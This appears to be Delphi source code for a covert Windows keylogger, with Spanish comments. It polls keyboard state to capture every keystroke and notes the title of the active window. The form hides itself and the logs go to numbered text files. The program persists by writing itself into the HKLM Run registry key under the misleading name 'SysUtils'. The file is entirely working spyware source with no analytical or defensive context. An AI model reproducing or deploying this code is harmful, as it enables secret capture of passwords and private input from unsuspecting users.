unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ExtCtrls, registry, FileCtrl;
type
TForm1 =
class(TForm)
Timer1: TTimer;
Timer2: TTimer;
Timer3: TTimer;
procedure FormCreate(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure Timer2Timer(Sender: TObject);
procedure Timer3Timer(Sender: TObject);
procedure FormDestroy(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
Buffer:
String;
ventanaActual:
String;
ventanaAnterior:
String;
implementation
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
var Reg: TRegistry;
begin
Reg := TRegistry.Create;
try
Reg.RootKey := HKEY_LOCAL_MACHINE;
if Reg.OpenKey('
\Software\Microsoft\Windows\CurrentVersion\Run', True)
then Reg.WriteString('
SysUtils','
"' + ParamStr(0) + '
"');
finally
Reg.CloseKey;
Reg.Free;
inherited;
end;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
function VentanaActiva:
String;
var PC:
Array[0..$FFF]
of Char;
Wnd : Thandle;
begin
{$IFDEF Win32}
Wnd := GetForegroundWindow;
{$ELSE}
Wnd := GetActiveWindow;
{$ENDIF}
SendMessage( Wnd , $000D , $FFF , LongInt( @PC ) );
//$000D es el WM_GETTEXT
Result := PC;
end;
var i: integer;
TeclaAnterior:
String;
letra:
String;
begin
If GetAsyncKeyState(VK_TAB)=-32767
then
letra:='
-Tab- ';
If GetAsyncKeyState(VK_CAPITAL)=-32767
then
letra:='
-Caps Lock- ';
If GetAsyncKeyState(VK_ESCAPE)=-32767
then
letra:='
-Esc- ';
If GetAsyncKeyState(VK_DELETE)=-32767
then
letra:='
-Delete- ';
if GetAsyncKeyState(13)=-32767
then
letra:='
-Enter- ';
if GetAsyncKeyState(8)=-32767
then
letra:='
-Back- ';
for i:=30
to 255
do
if GetAsyncKeyState(i)=-32767
Then
Case i
of
91:Letra:='
(Menu inicio) ';
96:Letra:='
0';
97:Letra:='
1';
98:Letra:='
2';
99:Letra:='
3';
100:Letra:='
4';
101:Letra:='
5';
102:Letra:='
6';
103:Letra:='
7';
104:Letra:='
8';
105:Letra:='
9';
106:Letra:='
*';
107:Letra:='
+';
109:Letra:='
-';
110:Letra:='
.';
111:Letra:='
/';
112:Letra:='
F1 ';
113:Letra:='
F2 ';
114:Letra:='
F3 ';
115:Letra:='
F4 ';
116:Letra:='
F5 ';
117:Letra:='
F6 ';
118:Letra:='
F7 ';
119:Letra:='
F8 ';
120:Letra:='
F9 ';
121:Letra:='
F10 ';
122:Letra:='
F11 ';
123:Letra:='
F12 ';
else
if (i<>160)
and (i<>161)
and (i<>45)
and (i<>35)
and (i<>40)
and (i<>34)
and (i<>37)
and (i<>39)
and (i<>36)
and (i<>33)
and (i<>48)
and (i<>46)
and (i<>144)
and (i<>93)
and (i<>92)
and (i<>44)
and (i<>145)
and (i<>38)
then
if GetKeyState(20)=1
then //si estan activadas las mayusculas
begin
letra:=UpCase(chr(i));
//la paso a mayuscula
if (GetAsyncKeyState(16)=-32768)
or (GetAsyncKeyState(16)=-32768)
then//si tengo presionado shift
letra := LowerCase(chr(i))
end
else //Si no estan activadas las mayusculas
begin
letra:=LowerCase(chr(i));
if (GetAsyncKeyState(16)=-32768)
or (GetAsyncKeyState(16)=-32768)
then//si tengo presionado shift
letra:=UpCase(chr(i))
end;
end;
VentanaAnterior:=VentanaActual;
VentanaActual:=VentanaActiva;
If (ventanaActual='
üý')
or (ventanaActual='
')
then
Exit;
If ventanaAnterior<>VentanaActiva
then
Begin
Buffer:=buffer+ #13#10 + '
[' + VentanaActual + '
]' + #13#10;
if letra <> TeclaAnterior
then
Begin
TeclaAnterior:=Letra;
Buffer:=Buffer+Letra;
End;
End
Else
Begin
if letra <> TeclaAnterior
then
Begin
TeclaAnterior:=Letra;
Buffer:=Buffer+Letra;
End;
End;
end;
procedure TForm1.Timer2Timer(Sender: TObject);
begin
Form1.Hide;
Timer1.Enabled:=True;
Timer2.Enabled:=False;
end;
procedure TForm1.Timer3Timer(Sender: TObject);
Var archivo: TextFile;
X:integer;
begin
For X:=0
to 5000
do
Begin
AssignFile(Archivo,'
log'+IntToStr(X)+'
.txt');
{$I-}Reset(Archivo);
{$I+}
If IOResult<>0
then
Begin
Rewrite(Archivo);
Writeln(Archivo,DateTimeToStr(Now));
Writeln(Archivo);
Write(Archivo,Buffer);
CloseFile(Archivo);
Buffer:='
';
Exit;
End;
End;
End;
procedure TForm1.FormDestroy(Sender: TObject);
var Reg:TRegistry;
begin
Reg := TRegistry.Create;
try
Reg.RootKey := HKEY_LOCAL_MACHINE;
if Reg.OpenKey('
\Software\Microsoft\Windows\CurrentVersion\Run', True)
then Reg.WriteString('
SysUtils','
"' + ParamStr(0) + '
"');
finally
Reg.CloseKey;
Reg.Free;
inherited;
end;
Timer3.OnTimer(Sender);
end;
end.